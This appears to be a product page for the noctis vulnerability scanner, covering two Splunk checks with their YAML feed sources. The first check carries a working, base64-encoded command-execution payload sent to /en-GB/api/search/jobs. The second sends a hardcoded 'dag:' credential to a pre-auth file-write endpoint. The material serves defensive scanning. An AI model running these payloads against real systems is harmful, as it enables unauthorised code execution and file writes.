Splunk — 2 vulnerability checks

noctis ships 2 vulnerability checks for Splunk, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Splunk 4.0 - 4.2.4 search action command execution

CVECVE-2011-4642, CVE-2011-4643, CVE-2011-4644, CVE-2011-4778
Severitycritical · CVSS 9.3
Categoryxss — XSS
Serviceshttp, https
Detectiontcp_connect, set_var, script, http_request, sleep, match · highest QoD 97
Feedtests/vulnerabilities/splunk/splunk-multiple-vuln.yaml

Detects Splunk 4.0 through 4.2.4, affected by a search-action CSRF/RCE chain (CVE-2011-4642/4643/4644/4778). Requests the login page to obtain the anonymous session cookie, replays it with its X-Splunk-Session token on a crafted POST /en-GB/api/search/jobs that executes `id` and writes the result to a static .tmp file, then reads that file back and matches `uid=…gid=…` to confirm remote command execution.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /en-GB/account/login HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /en-GB/api/search/jobs with a crafted body
  4. HTTP(S) request GET /en-US/static/@105575/js/.tmp
  5. Checks tmp_resp.body for uid=[0-9]+.*gid=[0-9]+ → finding QoD 97: Splunk 4.0 - 4.2.4 search-action RCE (CVE-2011-4642/4643/4644/4778)

References:

Feed source — tests/vulnerabilities/splunk/splunk-multiple-vuln.yaml
# Splunk 4.0 - 4.2.4 Multiple Vulnerabilities — Active Check
#
# Splunk 4.0 through 4.2.4 is prone to a search-action CSRF/RCE chain
# (plus reflected XSS and web-API directory traversal). The active exploit
# first requests the login page, from which the server hands out an anonymous
# session cookie; that cookie (and the X-Splunk-Session token derived from it)
# is reused on a crafted POST /en-GB/api/search/jobs whose `mappy`/`eval`
# search payload writes the output of a shell command into a world-readable
# static .tmp file. Reading that file back confirms code execution.
#
# This feed ports that full chain faithfully from the source NASL:
#   1. GET /en-GB/account/login, extract `Set-Cookie: session…` + its token.
#   2. POST /en-GB/api/search/jobs with the NASL search body (Linux `id` ->
#      .../exposed/js/.tmp), carrying the session cookie + X-Splunk-Session.
#   3. GET the static .tmp path and match `uid=…gid=…`.
# Only step 3 raises a finding — a bare session cookie is a precondition, not
# proof, so it is deliberately NOT reported on its own (a cookie-only match
# false-positives on any session-issuing server).
#
# The check is intrusive: it writes a file on the target (hence the `intrusive`
# tag), mirroring the ACT_ATTACK category of the source plugin.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_splunk_multiple_vuln.nasl
# (GPL-2.0-only). Request flow and payload taken from that plugin.
uid: c8c19298-e8a0-4d9e-8089-cce22c1f89fe
name: "Splunk 4.0 - 4.2.4 search action command execution (CVE-2011-4642)"
description: |
  Detects Splunk 4.0 through 4.2.4, affected by a search-action CSRF/RCE chain
  (CVE-2011-4642/4643/4644/4778). Requests the login page to obtain the
  anonymous session cookie, replays it with its X-Splunk-Session token on a
  crafted POST /en-GB/api/search/jobs that executes `id` and writes the result
  to a static .tmp file, then reads that file back and matches `uid=…gid=…` to
  confirm remote command execution.
cves: [CVE-2011-4642, CVE-2011-4643, CVE-2011-4644, CVE-2011-4778]
cvss: 9.3
severity: critical
category: xss
confidence_base: 0.25
tags: [splunk, web, csrf, rce, xss, directory-traversal, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4642"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4643"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4644"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4778"
  - "http://www.splunk.com/view/SP-CAAAGMM"
  - "http://www.exploit-db.com/exploits/18245"
  # Source: OpenVAS/Greenbone NVT 2011/gb_splunk_multiple_vuln.nasl (GPL-2.0-only)

steps:
  # 1 — Request the login page with a verbatim HTTP/1.0 request so the raw
  #     Set-Cookie header is preserved in resp.banner (the NASL reads it via
  #     http_keepalive_send_recv on /en-GB/account/login).
  - id: login-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /en-GB/account/login HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: login_resp

  # Pre-declare the vars the script fills, so conditions never touch an
  # undefined Rhai variable (see CLAUDE.md pitfall) and the script's write-back
  # has existing slots to update.
  - id: init-session
    action: set_var
    var_name: session_cookie
    var_value: ""

  - id: init-xsplunk
    action: set_var
    var_name: xsplunk
    var_value: ""

  # 2a — Extract the session cookie and its token, exactly as the NASL does:
  #      eregmatch("Set-Cookie: (session[^;]*);") then eregmatch("=([a-zA-Z0-9]+)").
  - id: extract-session
    action: script
    code: |
      let c = eregmatch("Set-Cookie:\\s*(session[^;]*);", login_resp.banner);
      if c.len() > 1 { session_cookie = c[1]; }
      let x = eregmatch("=([a-zA-Z0-9]+)", session_cookie);
      if x.len() > 1 { xsplunk = x[1]; }
      session_cookie
    store_as: session_raw

  # 2b — Replay the session on the crafted search-job POST. The body is the
  #      NASL `exploit()` postData verbatim with the Linux command path
  #      (`id` > .../search_mrsparkle/exposed/js/.tmp). Headers mirror the NASL
  #      request: Cookie, X-Splunk-Session, X-Requested-With: XMLHttpRequest.
  - id: search-job
    action: http_request
    method: POST
    path: "/en-GB/api/search/jobs"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "session_cookie != \"\""
    headers:
      Accept-Encoding: "identity"
      X-Splunk-Session: "{{xsplunk}}"
      Cookie: "{{session_cookie}}"
      X-Requested-With: "XMLHttpRequest"
      Content-Type: "application/x-www-form-urlencoded"
    body: "search=search%20index%3D_internal%20source%3D%2Asplunkd.log%20%7Cmappy%20x%3Deval%28%22sys.modules%5B%27os%27%5D.system%28base64.b64decode%28%27aWQ%2BL29wdC9zcGx1bmsvc2hhcmUvc3BsdW5rL3NlYXJjaF9tcnNwYXJrbGUvZXhwb3NlZC9qcy8udG1waXBjb25maWc%2BImM6XHByb2dyYW0gZmlsZXNcc3BsdW5rXHNoYXJlXHNwbHVua1xzZWFyY2hfbXJzcGFya2xlXGV4cG9zZWRcanNcLnRtcCI%3D%27%29%29%22%29&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time="
    store_as: job_resp

  # 3 — Give the dispatched search a moment to write the file, then read the
  #     static .tmp path the payload targets (NASL: /en-US/static/@105575/js/.tmp).
  - id: settle
    action: sleep
    duration_ms: 5000

  - id: read-tmp
    action: http_request
    method: GET
    path: "/en-US/static/@105575/js/.tmp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "session_cookie != \"\""
    store_as: tmp_resp

  # Only the executed-command output confirms the vulnerability — QoD 97.
  - id: confirm-rce
    action: match
    source: tmp_resp.body
    # Verbatim from the NASL: egrep(pattern: "Subnet Mask|uid=[0-9]+.*gid=[0-9]+").
    pattern: "uid=[0-9]+.*gid=[0-9]+"
    condition: "session_cookie != \"\""
    on_match:
      finding:
        title: "Splunk 4.0 - 4.2.4 search-action RCE (CVE-2011-4642/4643/4644/4778)"
        description: "A crafted, session-replayed POST to /en-GB/api/search/jobs executed a shell command on the Splunk host and wrote its output to a world-readable static .tmp file, confirming the search-action CSRF/RCE chain affecting Splunk 4.0 through 4.2.4."
        remediation: "Upgrade Splunk to 4.2.5 or later."
        confidence_delta: 0.70
        qod: 97
        evidence: "Command output recovered from /en-US/static/@105575/js/.tmp: {{tmp_resp.body}}"
      stop: true

Splunk Enterprise PostgreSQL Sidecar Pre-Auth File Write

CVECVE-2026-20253
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 70
Feedtests/vulnerabilities/splunk/CVE-2026-20253.yaml

Posts to the PostgreSQL sidecar recovery endpoint with the hardcoded dag: credential and reports when Splunk answers 400 (decode error), showing the pre-auth file-write endpoint is reachable.

How noctis detects it

  1. HTTP(S) request POST /en-US/splunkd/__raw/v1/postgres/recovery/backup with a crafted body
  2. Checks resp.body for Failed to decode → finding QoD 70: Splunk PostgreSQL sidecar endpoint accessible with hardcoded dag: credential (CVE-2026-20253) — 400 response: …
Feed source — tests/vulnerabilities/splunk/CVE-2026-20253.yaml
uid: 85298288-f2b4-4429-a1b8-5ff80b2ebe47
name: "Splunk Enterprise PostgreSQL Sidecar Pre-Auth File Write (CVE-2026-20253)"
description: "Posts to the PostgreSQL sidecar recovery endpoint with the hardcoded dag: credential and reports when Splunk answers 400 (decode error), showing the pre-auth file-write endpoint is reachable."
cves: [CVE-2026-20253]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [auth-bypass, file-write, splunk, kev]
services: [http, https]
author: noctis
version: "1.0.0"

steps:
  - id: probe
    action: http_request
    method: POST
    path: "/en-US/splunkd/__raw/v1/postgres/recovery/backup"
    port: "{{port}}"
    tls_insecure: true
    headers:
      Authorization: "Basic ZGFnOg=="
      Content-Type: "application/json"
    body: '{"backup_path":"/tmp/noctis_probe_test"}'
    store_as: resp

  - id: match-endpoint
    action: match
    source: resp.body
    pattern: "Failed to decode"
    condition: "resp.status == 400"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Splunk PostgreSQL sidecar endpoint accessible with hardcoded dag: credential (CVE-2026-20253) — 400 response: {{resp.body}}"
      stop: true

View these feeds on GitHub